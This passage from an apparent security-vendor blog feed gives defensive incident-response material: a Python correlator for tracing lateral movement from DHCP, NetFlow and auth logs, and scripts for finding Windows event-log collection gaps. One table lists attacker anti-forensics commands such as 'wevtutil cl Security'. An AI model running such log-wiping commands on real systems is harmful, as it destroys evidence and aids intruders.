# Build timeline (simplified)
active = {}
timeline = defaultdict(list)
for ev in sorted(events, key=lambda x: x['ts']):
ip = ev['ip']
if ev['type'] == 'Assign':
if ip in active:
old = active[ip]
timeline[ip].append((old['ts'], ev['ts'], old['hostname'], old['mac']))
active[ip] = ev
elif ev['type'] in ('Release', 'Lease_Expired') and ip in active:
old = active.pop(ip)
timeline[ip].append((old['ts'], ev['ts'], old['hostname'], old['mac']))
for ip, ev in active.items():
timeline[ip].append((ev['ts'], None, ev['hostname'], ev['mac']))
self.ip_timeline = dict(timeline)
print(f\"[+] DHCP: loaded timeline for {len(self.ip_timeline)} IPs\")
def resolve_ip(self, ip, query_time):
\"\"\"Resolve IP address to hostname at a given time using DHCP timeline.\"\"\"
for start, end, hostname, mac in self.ip_timeline.get(ip, []):
if start <= query_time and (end is None or query_time <= end):
return hostname, mac
return ip, 'unknown' # Fallback to IP if no DHCP record
def load_netflow(self, csv_path, lateral_ports=None):
\"\"\"Load NetFlow records, focusing on lateral movement ports.\"\"\"
if lateral_ports is None:
lateral_ports = {445, 135, 3389, 5985, 5986, 22, 23, 139}
with open(csv_path) as f:
for row in csv.DictReader(f):
try:
dst_port = int(row.get('dst_port', 0))
if dst_port not in lateral_ports:
continue
self.netflow_events.append({
'ts': datetime.fromisoformat(row['ts']),
'src_ip': row['src_ip'],
'dst_ip': row['dst_ip'],
'dst_port': dst_port,
'bytes': int(row.get('bytes', 0)),
'flags': row.get('flags', '')
})
except (ValueError, KeyError):
continue
print(f\"[+] NetFlow: loaded {len(self.netflow_events)} lateral-movement-port records\")
def load_auth_logs(self, csv_path):
\"\"\"Load Windows authentication events.\"\"\"
with open(csv_path) as f:
for row in csv.DictReader(f):
try:
self.auth_events.append({
'ts': datetime.fromisoformat(row['timestamp']),
'event_id': int(row['event_id']),
'source_ip': row['source_ip'],
'account': row['account'],
'logon_type': row.get('logon_type', ''),
'auth_pkg': row.get('auth_pkg', ''),
'key_length': row.get('key_length', ''),
'service': row.get('service', '')
})
except (ValueError, KeyError):
continue
print(f\"[+] Auth: loaded {len(self.auth_events)} authentication events\")
def correlate(self, time_window_seconds=30):
\"\"\"
Main correlation: for each NetFlow lateral movement record,
find the corresponding auth event within the time window.
Enrich both with DHCP hostname resolution.
\"\"\"
timeline = []
for flow in sorted(self.netflow_events, key=lambda x: x['ts']):
flow_ts = flow['ts']
src_ip = flow['src_ip']
dst_ip = flow['dst_ip']
# Resolve IPs to hostnames using DHCP timeline
src_host, src_mac = self.resolve_ip(src_ip, flow_ts)
dst_host, dst_mac = self.resolve_ip(dst_ip, flow_ts)
# Find matching auth event within time window
matching_auth = None
window = timedelta(seconds=time_window_seconds)
for auth in self.auth_events:
if abs((auth['ts'] - flow_ts).total_seconds()) <= time_window_seconds:
if auth['source_ip'] == src_ip and auth['logon_type'] in ('3', '10'):
matching_auth = auth
break
# Determine if this is suspicious
suspicion_flags = []
if matching_auth:
# Pass-the-hash indicator
if (matching_auth['auth_pkg'] == 'NTLM' and
matching_auth['key_length'] == '0'):
suspicion_flags.append('PASS_THE_HASH')
# Off-hours activity (midnight to 5am)
if 0 <= flow_ts.hour < 5:
suspicion_flags.append('OFF_HOURS')
# Workstation-to-workstation SMB (no server name pattern)
if (flow['dst_port'] == 445 and
'srv' not in dst_host.lower() and
'server' not in dst_host.lower() and
'dc' not in dst_host.lower()):
suspicion_flags.append('WORKSTATION_TO_WORKSTATION_SMB')
event = {
'timestamp': flow_ts.isoformat(),
'src_ip': src_ip,
'src_hostname': src_host,
'src_mac': src_mac,
'dst_ip': dst_ip,
'dst_hostname': dst_host,
'dst_mac': dst_mac,
'dst_port': flow['dst_port'],
'protocol': 'TCP',
'bytes_transferred': flow['bytes'],
'tcp_flags': flow['flags'],
'auth_account': matching_auth['account'] if matching_auth else 'UNKNOWN',
'auth_type': matching_auth['auth_pkg'] if matching_auth else 'UNKNOWN',
'logon_type': matching_auth['logon_type'] if matching_auth else 'UNKNOWN',
'suspicion_flags': suspicion_flags,
'severity': 'HIGH' if suspicion_flags else 'INFO'
}
timeline.append(event)
return sorted(timeline, key=lambda x: x['timestamp'])
def print_timeline(self, timeline, high_only=True):
\"\"\"Print a readable attack timeline.\"\"\"
print(\"\\n\" + \"=\"*80)
print(\"LATERAL MOVEMENT TIMELINE\")
print(\"=\"*80)
port_names = {445: 'SMB', 135: 'RPC', 3389: 'RDP', 5985: 'WinRM', 22: 'SSH'}
for event in timeline:
if high_only and event['severity'] != 'HIGH':
continue
port_str = port_names.get(event['dst_port'], str(event['dst_port']))
mb = round(event['bytes_transferred'] / 1048576, 2)
flags_str = ', '.join(event['suspicion_flags']) if event['suspicion_flags'] else 'none'
print(f\"\\n[{event['timestamp']}] {event['severity']}\")
print(f\" MOVEMENT: {event['src_hostname']} ({event['src_ip']})\")
print(f\" --> {event['dst_hostname']} ({event['dst_ip']}) via {port_str}\")
print(f\" IDENTITY: {event['auth_account']} [{event['auth_type']}, Type {event['logon_type']}]\")
print(f\" VOLUME: {mb} MB transferred\")
print(f\" FLAGS: {flags_str}\")
# Usage during incident response:
if __name__ == '__main__':
correlator = NetworkForensicsCorrelator()
correlator.load_dhcp('dhcp_export.csv')
correlator.load_netflow('netflow_internal.csv')
correlator.load_auth_logs('dc_auth_events.csv')
timeline = correlator.correlate(time_window_seconds=60)
correlator.print_timeline(timeline, high_only=True)
# Export full timeline for SIEM ingestion or report
with open('lateral_movement_timeline.json', 'w') as f:
json.dump(timeline, f, indent=2, default=str)
print(f\"\\n[*] Full timeline exported to lateral_movement_timeline.json\")
print(f\"[*] Total events: {len(timeline)}\")
print(f\"[*] HIGH severity: {sum(1 for e in timeline if e['severity'] == 'HIGH')}\")
Phase 1 Evidence Collection (first 30 minutes)
\n# On suspected source host collect before reboot or shutdown
ipconfig /displaydns > dns_cache_$(hostname).txt
Get-DnsClientCache | Export-Csv dns_cache_structured_$(hostname).csv -NoTypeInformation
# On DHCP server export current leases and logs
Copy-Item \"C:\\Windows\\System32\\dhcp\\DhcpSrvLog-*.log\" \"C:\\IR\\dhcp_logs\\\"
Get-DhcpServerv4Lease -ScopeId 10.10.0.0 -AllLeases |
Select-Object IPAddress, ClientId, HostName, AddressState, LeaseExpiryTime |
Export-Csv \"C:\\IR\\dhcp_active_leases.csv\" -NoTypeInformation
# On Domain Controllers export auth events for investigation window
$filter = @{LogName='Security'; Id=@(4624,4625,4648,4769,4776,4768,4771,4672);
StartTime=(Get-Date).AddDays(-7); EndTime=(Get-Date)}
Get-WinEvent -FilterHashtable $filter |
ForEach-Object { $_.ToXml() } |
Out-File \"C:\\IR\\dc_auth_events_raw.xml\"
Phase 2 NetFlow Queries (first 2 hours)
\n# On NetFlow collector identify all east-west connections from suspected host
# Replace 10.10.5.42 with your compromised host IP
SUSPECT=\"10.10.5.42\"
START=\"2025-11-14 00:00:00\"
END=\"2025-11-15 23:59:59\"
nfdump -R /var/cache/nfdump/ -t \"${START}-${END}\" \\
-o \"fmt:%ts,%te,%sa,%da,%dp,%pr,%byt,%pkt,%flg\" \\
\"src ip ${SUSPECT} and dst net 10.0.0.0/8\" > suspected_host_flows.csv
# Find all unique internal destinations
awk -F',' 'NR>1 {print $4}' suspected_host_flows.csv | sort -u > unique_destinations.txt
echo \"Unique internal targets: $(wc -l < unique_destinations.txt)\"
Phase 3 Correlation and Timeline (hours 2-4)
\n# Quick IP lookup against DHCP logs (command-line usage)
python3 dhcp_correlator.py \\
--dhcp-dir /path/to/dhcp/logs \\
--ip 10.10.5.42 \\
--time \"2025-11-15 02:47:33\"
# Output: 10.10.5.42 at 2025-11-15 02:47:33 was LAPTOP-JSMITH (MAC: 00:1A:2B:...)
Sophisticated attackers attempt to remove evidence. Understanding what survives cleanup determines whether your investigation can proceed after the attacker has tried to cover tracks.
\n| Attacker Action | What Is Destroyed | What Survives |
|---|---|---|
ipconfig /flushdns on source | Local DNS cache | DNS server query logs, DHCP records, NetFlow |
wevtutil cl Security on target | Target's Security event log | DC's 4769 records showing service ticket to target, NetFlow showing the connection |
| Delete DHCP log files | DHCP daily logs | Active lease database (dhcp.mdb), SIEM if logs were ingested |
| Spoof MAC address | Correct MAC in DHCP logs | Anomalous MAC not in asset inventory, IP conflict events (DHCP ID 24) |
| VPN / proxy through another internal host | Direct source IP in NetFlow | Intermediate host shows elevated connection count, DHCP shows presence of intermediate |
| Disable NetFlow on switch | Future NetFlow data | Historical NetFlow from before disable event |
| Rename computer before lateral move | Hostname in DNS | MAC address correlation still possible, old DNS PTR records |
The most resilient artifact: NetFlow from core switch
\nThe attacker would need administrative access to your core switching infrastructure to retroactively destroy NetFlow. In most organizations, this is a separate administrative domain from Windows servers. Even if the attacker cleans every Windows log, the flow records showing the connections remain on the collector.
\nThe second most resilient: DNS server query logs (if enabled)
\nThe attacker cleaning logs on workstations and servers does not affect DNS query logs on the DNS server. These are particularly valuable because they capture every hostname the attacker resolved, including reconnaissance against hosts they never successfully connected to.
\nWhen you have an IR scenario and need to know which sources answer which questions, use this reference:
\n| Question | Primary Source | Secondary Source | Command |
|---|---|---|---|
| What hosts did X talk to? | NetFlow | DNS cache | nfdump \"src ip X and dst net internal\" |
| What hostname owned IP Y at time T? | DHCP logs | DNS PTR records | resolve_ip(Y, T) from dhcp_correlator.py |
| What account was used for connection? | DC Security 4624/4769 | Target 4624 | Get-WinEvent ... Id 4624 -FilterXPath |
| Was pass-the-hash used? | DC/Target 4624 KeyLength=0 | NetFlow NTLM port pattern | KeyLength field in 4624 XML |
| When did attacker first appear? | DHCP first Assign event | NetFlow earliest record | nfdump earliest + DHCP first seen |
| Which hosts were scanned but not compromised? | NetFlow SYN-only flows | DNS cache of source | TCP flags analysis in nfdump |
| What data was staged/exfiltrated? | NetFlow bytes, off-hours large transfers | DNS cache for staging host | nfdump \"dst net internal and byt > 100MB\" |
| Did the attacker modify logs? | Event 1102, 4719 on DCs | SIEM volume anomaly | Get-WinEvent ... Id 1102, 4719 |
All commands and techniques described in this post are standard incident response and forensic analysis procedures. They operate against infrastructure and logs that the analyst has administrative access to as part of an authorized investigation.
", "url": "https://inferencedefense.com/academy/blog-internal/network-forensics-lateral-movement-dns-netflow-auth-logs", "title": "Network Forensics Without a Tap: Reconstructing Lateral Movement from DNS Cache, NetFlow, and Authentication Logs", "summary": "How to reconstruct lateral movement using DNS cache, DHCP logs, NetFlow, and Windows auth logs when you have no packet capture.", "date_modified": "2026-04-19T00:00:00.000Z", "author": { "name": "Inference Defense", "url": "https://inferencedefense.com" }, "tags": [ "network-forensics", "incident-response", "lateral-movement", "detection-engineering", "netflow", "dns-forensics" ] }, { "id": "https://inferencedefense.com/academy/blog-internal/windows-event-log-architecture-siem-missing-events", "content_html": "\n\nAn analyst flags a suspicious lateral movement alert. You pull the investigation timeline. There is a 47-minute gap in process creation events from a critical server right across the window where the attacker moved. The EDR shows nothing. The SIEM shows nothing. Post-incident forensics on the local machine reveals 6,800 events that never left the endpoint. The Security event log overwrote itself. The WEF subscription had a filter bug. The WEC server was under load. Nobody noticed because nobody measured. This scenario is not hypothetical it is the most common root cause of detection gaps found during post-incident reviews, and it is almost entirely preventable.
\n
Security teams invest enormous effort writing detection rules, tuning Sigma, and expanding MITRE ATT&CK coverage. Those efforts are worthless if the underlying events never reach your SIEM.
\nThe assumption baked into virtually every SIEM dashboard is that the event collection pipeline is working. That assumption is almost never tested, and when it fails, it fails silently. There is no alert for \"we stopped receiving process creation events from this host.\" There is no dashboard tile that turns red when your WEC server starts dropping events under load. There is no automatic notification when a GPO conflict silently rolls back your advanced audit policy to defaults.
\nThe result is what security engineers sometimes call coverage theater you have the rules, you have the dashboards, you have the ATT&CK heatmap lit up, but underneath it all is a collection infrastructure with real gaps that an attacker who understands Windows internals will never trigger an alert through.
\nThis post goes from first principles how Windows event logging actually works internally through the specific failure modes that cause events to be lost, and ends with concrete tools and scripts you can run this week to measure your actual collection fidelity.
\nUnderstanding where events can be lost requires understanding the full pipeline. Most practitioners know the high-level model. Few know the internals where things actually break.
\nEvery Windows event originates in Event Tracing for Windows (ETW) the low-level kernel subsystem that acts as the backbone for all Windows telemetry. ETW is not the same as the Windows Event Log. It is the underlying transport mechanism.
\n\nTen distinct failure points across four layers. An event can be lost at any one of them, with no notification to the analyst on the other end.
\nETW operates using in-memory ring buffers circular memory regions that providers write events into. Consumers (including the Windows Event Log service) read from these buffers. When a buffer fills faster than consumers can drain it, new events overwrite old ones in memory before they are ever written to disk.
\nThis is not the same as log overwriting (which happens on disk). ETW ring buffer overflow is silent, in-memory loss that leaves no trace of the dropped events not even a gap in the EventRecordID sequence.
\nETW buffer parameters are configurable but almost never tuned:
\n:: View current ETW session configuration for a specific session
logman query \"EventLog-Security\" -ets
:: Sample output:
:: Name: EventLog-Security
:: Status: Running
:: Root Path: %systemdrive%\\PerfLogs\\Admin
:: Segment: Off
:: Schedules: On
:: Segment Max Size: 100 MB
::
:: Name: EventLog-Security
:: Type: Trace
:: Append: Off
:: Circular: Off
:: Overwrite: Off
:: Buffer Size: 64 ← 64KB per buffer
:: Buffers Lost: 0 ← Watch this number
:: Buffers Written: 15432
:: Buffer Flush Timer: 1
:: Clock Type: System
:: File Mode: Real-time
The Buffers Lost counter is the key metric. If this is non-zero, events are being dropped in ETW before the Event Log service even sees them. Check this on domain controllers and high-activity servers:
# Check ETW buffer loss for all active security-related sessions
Get-WinEvent -ListLog Security | Select-Object LogName, RecordCount, IsEnabled
# More detailed: check ETW session stats via Performance Counters
$counterPaths = @(
'\\Security System-Wide Statistics\\Audit Failures',
'\\Security System-Wide Statistics\\System Events'
)
Get-Counter -Counter $counterPaths -SampleInterval 1 -MaxSamples 5
Windows event logs are stored as .evtx (XML Event Log) files in C:\\Windows\\System32\\winevt\\logs\\. The format uses a chunked binary structure:
When the log wraps, EventRecordIDs continue incrementing they do not reset. This means you can detect overwrite gaps by looking for discontinuities in the EventRecordID sequence. A jump from EventRecordID 482,441 to 489,209 means 6,768 events were overwritten and are gone.
\n# Detect EventRecordID gaps that indicate log overwriting
# Run on a remote host or locally
$events = Get-WinEvent -LogName Security -MaxEvents 100 |
Select-Object RecordId, TimeCreated, Id |
Sort-Object RecordId
for ($i = 1; $i -lt $events.Count; $i++) {
$gap = $events[$i].RecordId - $events[$i-1].RecordId
if ($gap -gt 1) {
Write-Output \"GAP DETECTED: RecordId jumped from $($events[$i-1].RecordId) to $($events[$i].RecordId)\"
Write-Output \" Missing events: $($gap - 1)\"
Write-Output \" Time of gap: $($events[$i-1].TimeCreated) → $($events[$i].TimeCreated)\"
}
}
Before a single event travels anywhere, it must first be generated. Audit policy controls what the Security Reference Monitor (the kernel component that enforces security policy) actually logs. This is where the majority of defensive coverage gaps originate not in the collection pipeline, but in the policy that controls whether events are generated at all.
\nWindows has two audit policy systems that can conflict:
\n| System | Location | Granularity | Subcategories |
|---|---|---|---|
| Legacy Audit Policy | secpol.msc → Local Policies → Audit Policy | 9 top-level categories | None |
| Advanced Audit Policy | secpol.msc → Advanced Audit Policy Configuration | 10 categories, 58 subcategories | Full control |
The critical, frequently unknown behavior: if both are configured, legacy policy wins by default and silently overrides advanced policy subcategories.
\nExample of the conflict:
\n\nThe fix one GPO setting that most organizations are missing:
\nGPO Path: Computer Configuration → Windows Settings → Security Settings →
Local Policies → Security Options
Setting: \"Audit: Force audit policy subcategory settings (Windows Vista or later)
to override audit policy category settings\"
Value: ENABLED
Without this setting enabled, any legacy audit policy in the GPO hierarchy silently defeats your advanced policy subcategories. You will see events being generated (because the legacy category is enabled), but you will lose the subcategory filtering that gives you specific, high-value event IDs.
\nThe GPO editor shows what you configured. auditpol.exe shows what is actually in effect on a given machine. These are often different.
:: View the complete effective audit policy all 58 subcategories
:: Run on a DC, critical server, or workstation you want to verify
auditpol /get /category:*
:: Sample output (showing common gap areas):
:: System audit policy
:: Category/Subcategory Setting
::
:: Account Logon
:: Credential Validation No Auditing ← PROBLEM: logons not logged
:: Kerberos Authentication Service Success ← OK
:: Kerberos Service Ticket Operations Success ← Missing Failure events
:: Other Account Logon Events No Auditing ← PROBLEM
::
:: Logon/Logoff
:: Logon Success and Failure
:: Logoff Success
:: Account Lockout Success
:: Special Logon No Auditing ← PROBLEM: admin logons missed
:: Other Logon/Logoff Events No Auditing ← PROBLEM
::
:: Object Access
:: File System No Auditing ← May be intentional (too noisy)
:: Registry No Auditing
:: SAM No Auditing ← PROBLEM on DCs
:: Certification Services No Auditing ← ADCS attacks invisible
:: Detailed File Share No Auditing
:: File Share No Auditing ← Lateral movement via shares
::
:: Privilege Use
:: Sensitive Privilege Use No Auditing ← PROBLEM: SeDebugPrivilege, etc.
:: Non Sensitive Privilege Use No Auditing ← Usually intentional (noisy)
Scripted audit across your fleet:
\n# Collect audit policy from multiple remote machines and compare against baseline
$targetHosts = @(\"DC01\", \"DC02\", \"SERVER01\", \"WSADMIN01\")
$results = @()
foreach ($host in $targetHosts) {
try {
$output = Invoke-Command -ComputerName $host -ScriptBlock {
$raw = auditpol /get /category:* /r # CSV format
$raw | ConvertFrom-Csv
} -ErrorAction Stop
foreach ($row in $output) {
$results += [PSCustomObject]@{
ComputerName = $host
Category = $row.'Category/Subcategory'
Setting = $row.'Inclusion Setting'
}
}
} catch {
Write-Warning \"Failed to query $host : $_\"
}
}
# Find hosts where \"Credential Validation\" is NOT audited
$results | Where-Object {
$_.Category -like \"*Credential Validation*\" -and
$_.Setting -eq \"No Auditing\"
} | Select-Object ComputerName, Category, Setting
# Export full comparison
$results | Export-Csv \"audit_policy_fleet.csv\" -NoTypeInformation
The following table maps the subcategories most critical for detection to the specific attack techniques they cover. This is the minimum baseline for a detection-capable environment:
\n| Subcategory | Event IDs | Covers | Default State |
|---|---|---|---|
| Credential Validation | 4776, 4768, 4771 | NTLM auth, Kerberos TGT, pre-auth failure | ❌ Disabled on many systems |
| Kerberos Service Ticket Operations | 4769 | Kerberoasting, silver ticket | ⚠ Success only (miss failures) |
| Process Creation | 4688 | All process executions | ❌ Disabled by default |
| Process Termination | 4689 | Timeline reconstruction | ❌ Disabled by default |
| DPAPI Activity | 4693, 4694 | Credential decryption by malware | ❌ Disabled by default |
| Special Logon | 4672 | Admin-equivalent logon (SeDebug, etc.) | ❌ Disabled on many systems |
| Sensitive Privilege Use | 4673, 4674 | Privilege escalation evidence | ❌ Disabled by default |
| Security Group Management | 4728, 4732, 4756 | Group membership changes | ✅ Enabled on DCs |
| Directory Service Access | 4661, 4662 | DCSync, object access on AD | ⚠ Often disabled (high volume) |
| Directory Service Changes | 5136, 5137, 5141 | AD object creation/modification | ⚠ Sometimes disabled |
| Audit Policy Change | 4719 | Someone changing audit policy | ⚠ Often disabled |
| Filtering Platform Connection | 5156, 5158 | Network connections per process | ❌ Disabled extremely noisy |
| Other Object Access | 4698, 4700, 4702 | Scheduled task creation | ❌ Disabled on many systems |
Critical: enabling Process Creation (4688) with command-line logging
\nEvent 4688 logs process creation, but without an additional registry setting, the command line is NOT included making the event largely useless for detecting LOLBin abuse, PowerShell attacks, or anything that relies on command-line arguments:
\n# Enable command-line logging in process creation events (4688)
# This must be set SEPARATELY from the audit policy subcategory
$registryPath = \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Audit\"
if (-not (Test-Path $registryPath)) {
New-Item -Path $registryPath -Force | Out-Null
}
Set-ItemProperty -Path $registryPath `
-Name \"ProcessCreationIncludeCmdLine_Enabled\" `
-Value 1 -Type DWord
# Verify the setting applied:
Get-ItemProperty -Path $registryPath -Name \"ProcessCreationIncludeCmdLine_Enabled\"
Without this registry value, you will see 4688 events with CommandLine: - an empty command line. Every rule you write for detecting powershell -enc, certutil -urlcache, or wmic abuse will silently never fire.
The default log sizes for Windows security channels are laughably inadequate for enterprise environments with active security audit policies:
\n| Log Channel | Windows Default Max Size | Events Per Day (busy DC) | Retention at Default |
|---|---|---|---|
| Security | 20 MB | 500,000–2,000,000+ | < 1 hour |
| System | 20 MB | 10,000–50,000 | 8–24 hours |
| Application | 20 MB | 5,000–20,000 | 1–3 days |
| PowerShell/Operational | 15 MB | 20,000–200,000 | 1–4 hours |
| Sysmon/Operational | 20 MB | 200,000–1,000,000+ | Minutes |
A busy domain controller generating 1 million Security events per day will overwrite its 20MB Security log roughly every 2 minutes.
\n:: Set Security log to 4GB (recommended for DCs with active audit policies)
wevtutil sl Security /ms:4294967296
:: Set Sysmon operational log to 2GB
wevtutil sl Microsoft-Windows-Sysmon/Operational /ms:2147483648
:: Set PowerShell operational log to 1GB
wevtutil sl Microsoft-Windows-PowerShell/Operational /ms:1073741824
:: Set Application log to 500MB
wevtutil sl Application /ms:524288000
:: Set System log to 500MB
wevtutil sl System /ms:524288000
:: Verify the change took effect:
wevtutil gl Security
:: Output includes:
:: maxSize: 4294967296
:: retention: false ← \"false\" = overwrite as needed (correct setting)
:: autoBackup: false
Deploying via GPO (the right way to do this at scale):
\nGPO Path: Computer Configuration → Administrative Templates →
Windows Components → Event Log Service → Security
Setting: \"Specify the maximum log file size (KB)\"
Value: 4194304 (= 4GB for DCs)
1048576 (= 1GB for servers)
512000 (= 500MB for workstations)
Setting: \"Control Event Log behavior when the log file reaches its maximum size\"
Value: NOT configured (leave default overwrite behavior)
[Do NOT set \"Do not overwrite events\" unless you have extremely fast collection]
# Inventory log sizes, fill percentage, and oldest retained event across hosts
$hosts = @(\"DC01\", \"DC02\", \"SERVER01\", \"SERVER02\")
$logNames = @(\"Security\", \"System\", \"Microsoft-Windows-Sysmon/Operational\",
\"Microsoft-Windows-PowerShell/Operational\")
$report = @()
foreach ($computer in $hosts) {
foreach ($logName in $logNames) {
try {
$log = Invoke-Command -ComputerName $computer -ScriptBlock {
param($ln)
$l = Get-WinEvent -ListLog $ln -ErrorAction SilentlyContinue
if ($l) {
[PSCustomObject]@{
LogName = $l.LogName
MaxSizeMB = [math]::Round($l.MaximumSizeInBytes / 1MB, 1)
CurrentSizeMB = [math]::Round($l.FileSize / 1MB, 1)
FillPct = [math]::Round(($l.FileSize / $l.MaximumSizeInBytes) * 100, 1)
RecordCount = $l.RecordCount
IsEnabled = $l.IsEnabled
OldestRecord = if ($l.RecordCount -gt 0) {
(Get-WinEvent -LogName $ln -MaxEvents 1 -Oldest -ErrorAction SilentlyContinue).TimeCreated
} else { $null }
}
}
} -ArgumentList $logName -ErrorAction SilentlyContinue
if ($log) {
$log | Add-Member -NotePropertyName ComputerName -NotePropertyValue $computer
$report += $log
}
} catch {}
}
}
# Flag any log retaining less than 24 hours of events
$report | Where-Object {
$_.OldestRecord -and
((Get-Date) - $_.OldestRecord).TotalHours -lt 24
} | Select-Object ComputerName, LogName, MaxSizeMB, FillPct, OldestRecord |
Format-Table -AutoSize
# Export full report
$report | Export-Csv \"log_inventory.csv\" -NoTypeInformation
For organizations using WEF/WEC rather than or in addition to a SIEM agent, the forwarding pipeline introduces additional failure modes that are largely invisible without explicit monitoring.
\nWEF uses WinRM (port 5985 HTTP / 5986 HTTPS) to transport events from source machines to a Windows Event Collector (WEC) server. The flow:
\n\nThe bookmark mechanism and how it fails:
\nWEC maintains a bookmark per source machine per subscription, tracking the last EventRecordID successfully forwarded. When a source reconnects after going offline, forwarding resumes from the bookmark. This sounds reliable. It has two critical failure modes:
\nMicrosoft's own documentation acknowledges this explicitly:
\n\n\n\"When the event log overwrites existing events (resulting in data loss if the device isn't connected to the Event Collector), there's no notification sent to the WEF collector that events are lost from the client. Neither is there an indicator that there was a gap encountered in the event stream.\"
\n
WEF offers three delivery modes that trade latency for reliability. Most organizations leave the default, which is optimized for the wrong scenario:
\n:: View current subscription configuration
wecutil gs \"BaselineSubscription\"
:: The \"DeliveryMaxLatency\" field controls delivery mode:
::
:: Normal (default): 15 minutes delivery delay. Batches events.
:: Events buffered on source for up to 15 minutes.
:: During a 4-minute incident, you may see NO events in SIEM.
::
:: Minimize Latency: 30 seconds delivery delay.
:: Better for detection but higher WEC load.
::
:: Minimize Bandwidth: 6 hours delivery delay.
:: Clearly wrong for security use cases.
:: Set a subscription to Minimize Latency mode:
wecutil ss \"BaselineSubscription\" /cm:MinLatency
:: Or set custom timing (delivery every 30 seconds, heartbeat every 60):
wecutil ss \"BaselineSubscription\" /cm:Custom /hi:60000 /dmi:30000
:: Verify:
wecutil gs \"BaselineSubscription\" | findstr -i \"latency\\|heartbeat\\|delivery\"
In Normal mode, a 15-minute incident can generate zero SIEM alerts because events haven't been forwarded yet. This is not a theoretical concern it is a documented behavior that directly impacts mean time to detect.
\nA WEC server on commodity hardware handles approximately 3,000 events per second on average across all subscriptions. This sounds like a lot. It is not, for a large enterprise.
\nCalculation: 1,000 workstations × 150 events/sec each at peak (logon storms, patch Tuesday, incident response) = 150,000 events/sec. A single WEC server will be saturated at ~2% of that load.
\nWhen the WEC server exceeds capacity:
\n\nMonitor WEC health with these performance counters:
\n# Run on the WEC server
$counters = @(
'\\Event Tracing for Windows Session(EventLog-ForwardedEvents)\\Events Lost',
'\\Event Tracing for Windows Session(EventLog-ForwardedEvents)\\Events Logged per second',
'\\Web Service(_Total)\\Current Connections',
'\\Web Service(_Total)\\Maximum Connections',
'\\Processor(_Total)\\% Processor Time',
'\\Memory\\Available MBytes'
)
# Continuous monitoring with 10-second samples
Get-Counter -Counter $counters -SampleInterval 10 -MaxSamples 60 |
Select-Object -ExpandProperty CounterSamples |
Select-Object Path, CookedValue, Timestamp |
Format-Table -AutoSize
# Watch specifically for Events Lost counter any non-zero value is critical
Get-Counter '\\Event Tracing for Windows Session(EventLog-ForwardedEvents)\\Events Lost' `
-SampleInterval 5 -MaxSamples 12 |
Select-Object -ExpandProperty CounterSamples |
Where-Object { $_.CookedValue -gt 0 } |
ForEach-Object { Write-Warning \"EVENTS LOST at $($_.Timestamp): $($_.CookedValue)\" }
WEF subscriptions use XPath queries to filter which events are forwarded. These queries are powerful but error-prone. A syntax mistake or logic error in an XPath filter silently excludes events with no error message.
\nExample of a broken XPath filter that silently misses events:
\n<!-- BROKEN: This filter tries to catch Event ID 4688 AND 4624
but the XPath is semantically wrong will not match anything -->
<Query Id=\"0\" Path=\"Security\">
<Select Path=\"Security\">
*[System[(EventID=4688)]] AND *[System[(EventID=4624)]]
</Select>
</Query>
<!-- CORRECT: Use separate Select elements or proper XPath OR syntax -->
<Query Id=\"0\" Path=\"Security\">
<Select Path=\"Security\">
*[System[(EventID=4688 or EventID=4624)]]
</Select>
</Query>
Validate your XPath filters before deployment:
\n# Test an XPath filter against local logs before putting it in a subscription
# This reveals whether the filter syntax is correct and returns events
$xpath = \"*[System[(EventID=4688 or EventID=4624 or EventID=4625)]]\"
$logName = \"Security\"
try {
$events = Get-WinEvent -LogName $logName -FilterXPath $xpath -MaxEvents 10 -ErrorAction Stop
Write-Host \"XPath filter valid. Matched $($events.Count) recent events.\"
$events | Select-Object TimeCreated, Id, Message | Format-Table -AutoSize
} catch [System.Exception] {
Write-Error \"XPath filter INVALID or no matching events: $_\"
}
# Also validate that key event IDs ARE present in the log at all
# (if they're not, the audit policy isn't generating them)
$criticalEventIDs = @(4688, 4624, 4625, 4672, 4698, 4719, 4776)
foreach ($id in $criticalEventIDs) {
$count = (Get-WinEvent -LogName Security -FilterXPath \"*[System[EventID=$id]]\" `
-MaxEvents 1000 -ErrorAction SilentlyContinue).Count
$status = if ($count -gt 0) { \"✓ Present ($count in last 1000)\" } else { \"⚠ ABSENT check audit policy\" }
Write-Host \"Event ID $id : $status\"
}
SIEM agents (Splunk Universal Forwarder, Elastic Agent, Microsoft Monitoring Agent, etc.) introduce their own failure modes. These are frequently overlooked because the agent is \"running\" and heartbeating to the SIEM, even while dropping events.
\nSIEM agents reading .evtx files maintain a local bookmark (position marker) in the file they are reading. The agent reads from the bookmark forward, ships events, and updates the bookmark. The race condition:
The fix is twofold: make the log large enough that it doesn't wrap during the agent's read cycle, and ensure the agent's batch processing interval is short enough relative to the event generation rate. For Splunk UF:
\n# inputs.conf Splunk Universal Forwarder tuning for high-volume Security logs
[WinEventLog://Security]
disabled = 0
start_from = oldest
current_only = 0
checkpointInterval = 5 # Flush bookmark every 5 seconds (default: 60)
batch_size = 10 # Read 10 events per batch (tune down on busy DCs)
renderXml = true # Capture full XML for field extraction
blacklist1 = EventCode=\"4634\" # Exclude logoff events if volume too high
blacklist2 = EventCode=\"4656\" # Exclude handle requests (very noisy)
[WinEventLog://Microsoft-Windows-Sysmon/Operational]
disabled = 0
start_from = oldest
checkpointInterval = 5
batch_size = 20
renderXml = true
Many SIEM platforms enforce daily ingestion limits based on license volume. When the daily cap is hit:
\nCheck your Splunk license usage:
\n| rest /services/licenser/pools
| table title, used_bytes, effective_quota, slave_count
| eval used_GB = round(used_bytes/1073741824, 2)
| eval quota_GB = round(effective_quota/1073741824, 2)
| eval pct_used = round((used_bytes/effective_quota)*100, 1)
| where pct_used > 80
| sort -pct_used
Check for indexing gaps in Splunk (license exceeded periods):
\nindex=_internal source=*license_usage.log type=Usage
| timechart span=1h sum(b) as bytes_indexed
| eval GB_indexed = round(bytes_indexed/1073741824, 2)
| where GB_indexed = 0
Everything above describes where things go wrong. This section tells you how to measure whether they are going wrong in your environment, right now.
\nThe most direct measurement: compare the EventRecordID sequence seen in your SIEM against what the source machine has generated. Any gap = events you do not have.
\n# On the source machine: get the current highest EventRecordID and earliest retained
$securityLog = Get-WinEvent -LogName Security -MaxEvents 1
$oldestEvent = Get-WinEvent -LogName Security -MaxEvents 1 -Oldest
$sourceStats = [PSCustomObject]@{
LatestRecordId = $securityLog.RecordId
OldestRecordId = $oldestEvent.RecordId
OldestTimestamp = $oldestEvent.TimeCreated
TotalRetained = $securityLog.RecordId - $oldestEvent.RecordId + 1
}
Write-Output \"Source latest RecordId: $($sourceStats.LatestRecordId)\"
